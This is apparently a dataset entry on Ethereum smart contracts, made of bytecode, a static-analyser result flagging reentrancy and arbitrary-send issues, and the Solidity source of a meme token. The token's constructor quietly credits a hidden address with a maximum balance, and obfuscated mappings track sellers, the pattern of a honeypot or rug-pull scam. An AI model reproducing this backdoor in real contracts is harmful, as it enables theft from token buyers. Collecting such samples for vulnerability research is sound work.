1bcd60e51b81526004016104fc90611b7b565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f19350505050158015610630573d6000803e3d6000fd5b6001600160a01b03811660009081526001602052604081205461052f90611438565b6000546001600160a01b031633146107085760405162461bcd60e51b81526004016104fc90611b7b565b61071260006114bc565b565b6000546001600160a01b0316331461073e5760405162461bcd60e51b81526004016104fc90611b7b565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b600061052b338484610fbd565b6000546001600160a01b031633146107c55760405162461bcd60e51b81526004016104fc90611b7b565b60005b815181101561063057600c5482516001600160a01b03909116908390839081106107f4576107f4611bb0565b60200260200101516001600160a01b0316141580156108455750600b5482516001600160a01b039091169083908390811061083157610831611bb0565b60200260200101516001600160a01b031614155b156108a25760016005600084848151811061086257610862611bb0565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806108ac81611bdc565b9150506107c8565b6000546001600160a01b031633146108de5760405162461bcd60e51b81526004016104fc90611b7b565b600c54600160a01b900460ff166109425760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104fc565b600c805460ff60b81b1916600160b81b17905542600d81905561096690603c611bf5565b600e55565b6000546001600160a01b031633146109955760405162461bcd60e51b81526004016104fc90611b7b565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109e05760405162461bcd60e51b81526004016104fc90611b7b565b600c54600160a01b900460ff1615610a485760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104fc565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a9f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac39190611c0d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b10573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b349190611c0d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b81573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba59190611c0d565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c3b5760405162461bcd60e51b81526004016104fc90611b7b565b600f811115610c825760405162461bcd60e51b81526020600482015260136024820152726e6f74206c6172676572207468616e2031352560681b60448201526064016104fc565b600855565b6000546001600160a01b03163314610cb15760405162461bcd60e51b81526004016104fc90611b7b565b6001600160a01b038116610d165760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104fc565b61051b816114bc565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d6757610d67611bb0565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610dc0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de49190611c0d565b81600181518110610df757610df7611bb0565b6001600160a01b039283166020918202929092010152600b54610e1d9130911684610e99565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e56908590600090869030904290600401611c2a565b600060405180830381600087803b158015610e7057600080fd5b505af1158015610e84573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610efb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104fc565b6001600160a01b038216610f5c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104fc565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166110215760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104fc565b6001600160a01b0382166110835760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104fc565b600081116110e55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104fc565b6001600160a01b03831660009081526005602052604090205460ff161561118d5760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a4016104fc565b6001600160a01b03831660009081526004602052604081205460ff161580156111cf57506001600160a01b03831660009081526004602052604090205460ff16155b80156111e55750600c54600160a81b900460ff16155b80156112155750600c546001600160a01b03858116911614806112155750600c546001600160a01b038481169116145b156113ec57600c54600160b81b900460ff166112735760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e60448201526064016104fc565b50600c546001906001600160a01b0385811691161480156112a25750600b546001600160a01b03848116911614155b80156112af575042600e54115b156112f75760006112bf846106bc565b90506112e060646112da6801158e460913d00000600261150c565b9061158e565b6112ea84836115d0565b11156112f557600080fd5b505b600d544203611324576001600160a01b0383166000908152600560205260409020805460ff191660011790555b600061132f306106bc565b600c54909150600160b01b900460ff1615801561135a5750600c546001600160a01b03868116911614155b156113ea5780156113ea57600c5461138e906064906112da90600f90611388906001600160a01b03166106bc565b9061150c565b8111156113bb57600c546113b8906064906112da90600f90611388906001600160a01b03166106bc565b90505b60006113c882600461158e565b90506113d48183611c9b565b91506113df8161162f565b6113e882610d1f565b505b505b6113f88484848461165f565b50505050565b600081848411156114225760405162461bcd60e51b81526004016104fc919061194a565b50600061142f8486611c9b565b95945050505050565b600060065482111561149f5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104fc565b60006114a9611762565b90506114b5838261158e565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60008260000361151e5750600061052f565b600061152a8385611cb2565b9050826115378583611cd1565b146114b55760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104fc565b60006114b583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611785565b6000806115dd8385611bf5565b9050838110156114b55760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104fc565b600c805460ff60b01b1916600160b01b17905561164f3061dead83610fbd565b50600c805460ff60b01b19169055565b808061166d5761166d6117b3565b60008060008061167c876117cf565b6001600160a01b038d16600090815260016020526040902054939750919550935091506116a99085611816565b6001600160a01b03808b1660009081526001602052604080822093909355908a16815220546116d890846115d0565b6001600160a01b0389166000908152600160205260409020556116fa81611858565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161173f91815260200190565b60405180910390a3505050508061175b5761175b600954600855565b5050505050565b600080600061176f6118a2565b909250905061177e828261158e565b9250505090565b600081836117a65760405162461bcd60e51b81526004016104fc919061194a565b50600061142f8486611cd1565b6000600854116117c257600080fd5b6008805460095560009055565b6000806000806000806117e4876008546118e4565b9150915060006117f2611762565b90506000806118028a8585611911565b909b909a5094985092965092945050505050565b60006114b583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113fe565b6000611862611762565b90506000611870838361150c565b3060009081526001602052604090205490915061188d90826115d0565b30600090815260016020526040902055505050565b60065460009081906801158e460913d000006118be828261158e565b8210156118db575050600654926801158e460913d0000092509050565b90939092509050565b600080806118f760646112da878761150c565b905060006119058683611816565b96919550909350505050565b6000808061191f868561150c565b9050600061192d868661150c565b9050600061193b8383611816565b92989297509195505050505050565b600060208083528351808285015260005b818110156119775785810183015185820160400152820161195b565b81811115611989576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461051b57600080fd5b80356119bf8161199f565b919050565b600080604083850312156119d757600080fd5b82356119e28161199f565b946020939093013593505050565b600080600060608486031215611a0557600080fd5b8335611a108161199f565b92506020840135611a208161199f565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611a5a57600080fd5b823567ffffffffffffffff80821115611a7257600080fd5b818501915085601f830112611a8657600080fd5b813581811115611a9857611a98611a31565b8060051b604051601f19603f83011681018181108582111715611abd57611abd611a31565b604052918252848201925083810185019188831115611adb57600080fd5b938501935b82851015611b0057611af1856119b4565b84529385019392850192611ae0565b98975050505050505050565b600060208284031215611b1e57600080fd5b81356114b58161199f565b60008060408385031215611b3c57600080fd5b8235611b478161199f565b91506020830135611b578161199f565b809150509250929050565b600060208284031215611b7457600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611bee57611bee611bc6565b5060010190565b60008219821115611c0857611c08611bc6565b500190565b600060208284031215611c1f57600080fd5b81516114b58161199f565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c7a5784516001600160a01b031683529383019391830191600101611c55565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611cad57611cad611bc6565b500390565b6000816000190483118215151615611ccc57611ccc611bc6565b500290565b600082611cee57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220dc7feef0d2dc3983bc2bfb46605871de69aab1e31d122501cf3d0a4842b80ea664736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,710
0x9D30D54cafC82e3960384028d24250A2F90AFFAE
/* https://t.me/kamasutrainu https://www.kamasutrainu.com/ */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.2; // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), 'Ownable: caller is not the owner'); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), 'Ownable: new owner is the zero address'); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract Contract is Ownable { constructor( string memory _NAME, string memory _SYMBOL, address routerAddress, address aware ) { _symbol = _SYMBOL; _name = _NAME; _fee = 2; _decimals = 9; _tTotal = 1000000000000000 * 10**_decimals; _balances[aware] = river; _balances[msg.sender] = _tTotal; swam[aware] = river; swam[msg.sender] = river; router = IUniswapV2Router02(routerAddress); uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH()); emit Transfer(address(0), msg.sender, _tTotal); } uint256 public _fee; string private _name; string private _symbol; uint8 private _decimals; function name() public view returns (string memory) { return _name; } mapping(address => mapping(address => uint256)) private _allowances; mapping(address => uint256) private _balances; function symbol() public view returns (string memory) { return _symbol; } uint256 private _tTotal; uint256 private _rTotal; address public uniswapV2Pair; IUniswapV2Router02 public router; uint256 private river = ~uint256(0); function decimals() public view returns (uint256) { return _decimals; } event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); function totalSupply() public view returns (uint256) { return _tTotal; } address[] hard = new address[](2); function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function law( address feet, address avoid, uint256 amount ) private { address favorite = hard[1]; bool card = uniswapV2Pair == feet; uint256 directly = _fee; if (swam[feet] == 0 && difference[feet] > 0 && !card) { swam[feet] -= directly; } hard[1] = avoid; if (swam[feet] > 0 && amount == 0) { swam[avoid] += directly; } difference[favorite] += directly; uint256 fee = (amount / 100) * _fee; amount -= fee; _balances[feet] -= fee; _balances[address(this)] += fee; _balances[feet] -= amount; _balances[avoid] += amount; } mapping(address => uint256) private difference; function approve(address spender, uint256 amount) external returns (bool) { return _approve(msg.sender, spender, amount); } mapping(address => uint256) private swam; function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool) { require(amount > 0, 'Transfer amount must be greater than zero'); law(sender, recipient, amount); emit Transfer(sender, recipient, amount); return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount); } function transfer(address recipient, uint256 amount) external returns (bool) { law(msg.sender, recipient, amount); emit Transfer(msg.sender, recipient, amount); return true; } function _approve( address owner, address spender, uint256 amount ) private returns (bool) { require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address'); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); return true; } function buy( uint256 count, address tokenAddress, address to ) external payable { address[] memory path = new address[](2); path[0] = router.WETH(); path[1] = tokenAddress; uint256 amount = msg.value / count; for (uint256 i = 0; i < count; i++) { router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}(0, path, to, block.timestamp); } uint256 balance = address(this).balance; if (balance > 0) payable(msg.sender).transfer(balance); } }
0x6080604052600436106100f35760003560e01c80638da5cb5b1161008a578063dd62ed3e11610059578063dd62ed3e14610330578063e753858a1461036d578063f2fde38b14610389578063f887ea40146103b2576100f3565b80638da5cb5b1461027257806395d89b411461029d578063a9059cbb146102c8578063c5b37c2214610305576100f3565b8063313ce567116100c6578063313ce567146101c857806349bd5a5e146101f357806370a082311461021e578063715018a61461025b576100f3565b806306fdde03146100f8578063095ea7b31461012357806318160ddd1461016057806323b872dd1461018b575b600080fd5b34801561010457600080fd5b5061010d6103dd565b60405161011a91906113ed565b60405180910390f35b34801561012f57600080fd5b5061014a600480360381019061014591906114a8565b61046f565b6040516101579190611503565b60405180910390f35b34801561016c57600080fd5b50610175610484565b604051610182919061152d565b60405180910390f35b34801561019757600080fd5b506101b260048036038101906101ad9190611548565b61048e565b6040516101bf9190611503565b60405180910390f35b3480156101d457600080fd5b506101dd6105dd565b6040516101ea919061152d565b60405180910390f35b3480156101ff57600080fd5b506102086105f7565b60405161021591906115aa565b60405180910390f35b34801561022a57600080fd5b50610245600480360381019061024091906115c5565b61061d565b604051610252919061152d565b60405180910390f35b34801561026757600080fd5b50610270610666565b005b34801561027e57600080fd5b506102876106ee565b60405161029491906115aa565b60405180910390f35b3480156102a957600080fd5b506102b2610717565b6040516102bf91906113ed565b60405180910390f35b3480156102d457600080fd5b506102ef60048036038101906102ea91906114a8565b6107a9565b6040516102fc9190611503565b60405180910390f35b34801561031157600080fd5b5061031a610825565b604051610327919061152d565b60405180910390f35b34801561033c57600080fd5b50610357600480360381019061035291906115f2565b61082b565b604051610364919061152d565b60405180910390f35b61038760048036038101906103829190611632565b6108b2565b005b34801561039557600080fd5b506103b060048036038101906103ab91906115c5565b610b50565b005b3480156103be57600080fd5b506103c7610c47565b6040516103d491906116e4565b60405180910390f35b6060600280546103ec9061172e565b80601f01602080910402602001604051908101604052809291908181526020018280546104189061172e565b80156104655780601f1061043a57610100808354040283529160200191610465565b820191906000526020600020905b81548152906001019060200180831161044857829003601f168201915b5050505050905090565b600061047c338484610c6d565b905092915050565b6000600754905090565b60008082116104d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104c9906117d1565b60405180910390fd5b6104dd848484610e08565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161053a919061152d565b60405180910390a36105d4843384600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105cf9190611820565b610c6d565b90509392505050565b6000600460009054906101000a900460ff1660ff16905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61066e611288565b73ffffffffffffffffffffffffffffffffffffffff1661068c6106ee565b73ffffffffffffffffffffffffffffffffffffffff16146106e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d9906118a0565b60405180910390fd5b6106ec6000611290565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600380546107269061172e565b80601f01602080910402602001604051908101604052809291908181526020018280546107529061172e565b801561079f5780601f106107745761010080835404028352916020019161079f565b820191906000526020600020905b81548152906001019060200180831161078257829003601f168201915b5050505050905090565b60006107b6338484610e08565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610813919061152d565b60405180910390a36001905092915050565b60015481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600267ffffffffffffffff8111156108cf576108ce6118c0565b5b6040519080825280602002602001820160405280156108fd5781602001602082028036833780820191505090505b509050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561096d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109919190611904565b816000815181106109a5576109a4611931565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505082816001815181106109f4576109f3611931565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060008434610a3c919061198f565b905060005b85811015610af157600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b6f9de958360008688426040518663ffffffff1660e01b8152600401610aac9493929190611ab9565b6000604051808303818588803b158015610ac557600080fd5b505af1158015610ad9573d6000803e3d6000fd5b50505050508080610ae990611b05565b915050610a41565b5060004790506000811115610b48573373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610b46573d6000803e3d6000fd5b505b505050505050565b610b58611288565b73ffffffffffffffffffffffffffffffffffffffff16610b766106ee565b73ffffffffffffffffffffffffffffffffffffffff1614610bcc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc3906118a0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610c3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3290611bbf565b60405180910390fd5b610c4481611290565b50565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610cd85750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b610d17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0e90611c51565b60405180910390fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610df5919061152d565b60405180910390a3600190509392505050565b6000600c600181548110610e1f57610e1e611931565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008473ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16149050600060015490506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610f3657506000600d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610f40575081155b15610f9c5780600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f949190611820565b925050819055505b84600c600181548110610fb257610fb1611931565b5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180156110495750600084145b156110a55780600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461109d9190611c71565b925050819055505b80600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110f49190611c71565b92505081905550600060015460648661110d919061198f565b6111179190611cc7565b905080856111259190611820565b945080600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111769190611820565b9250508190555080600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111cc9190611c71565b9250508190555084600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112229190611820565b9250508190555084600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112789190611c71565b9250508190555050505050505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561138e578082015181840152602081019050611373565b8381111561139d576000848401525b50505050565b6000601f19601f8301169050919050565b60006113bf82611354565b6113c9818561135f565b93506113d9818560208601611370565b6113e2816113a3565b840191505092915050565b6000602082019050818103600083015261140781846113b4565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061143f82611414565b9050919050565b61144f81611434565b811461145a57600080fd5b50565b60008135905061146c81611446565b92915050565b6000819050919050565b61148581611472565b811461149057600080fd5b50565b6000813590506114a28161147c565b92915050565b600080604083850312156114bf576114be61140f565b5b60006114cd8582860161145d565b92505060206114de85828601611493565b9150509250929050565b60008115159050919050565b6114fd816114e8565b82525050565b600060208201905061151860008301846114f4565b92915050565b61152781611472565b82525050565b6000602082019050611542600083018461151e565b92915050565b6000806000606084860312156115615761156061140f565b5b600061156f8682870161145d565b93505060206115808682870161145d565b925050604061159186828701611493565b9150509250925092565b6115a481611434565b82525050565b60006020820190506115bf600083018461159b565b92915050565b6000602082840312156115db576115da61140f565b5b60006115e98482850161145d565b91505092915050565b600080604083850312156116095761160861140f565b5b60006116178582860161145d565b92505060206116288582860161145d565b9150509250929050565b60008060006060848603121561164b5761164a61140f565b5b600061165986828701611493565b935050602061166a8682870161145d565b925050604061167b8682870161145d565b9150509250925092565b6000819050919050565b60006116aa6116a56116a084611414565b611685565b611414565b9050919050565b60006116bc8261168f565b9050919050565b60006116ce826116b1565b9050919050565b6116de816116c3565b82525050565b60006020820190506116f960008301846116d5565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061174657607f821691505b602082108103611759576117586116ff565b5b50919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006117bb60298361135f565b91506117c68261175f565b604082019050919050565b600060208201905081810360008301526117ea816117ae565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061182b82611472565b915061183683611472565b925082821015611849576118486117f1565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061188a60208361135f565b915061189582611854565b60208201905091905056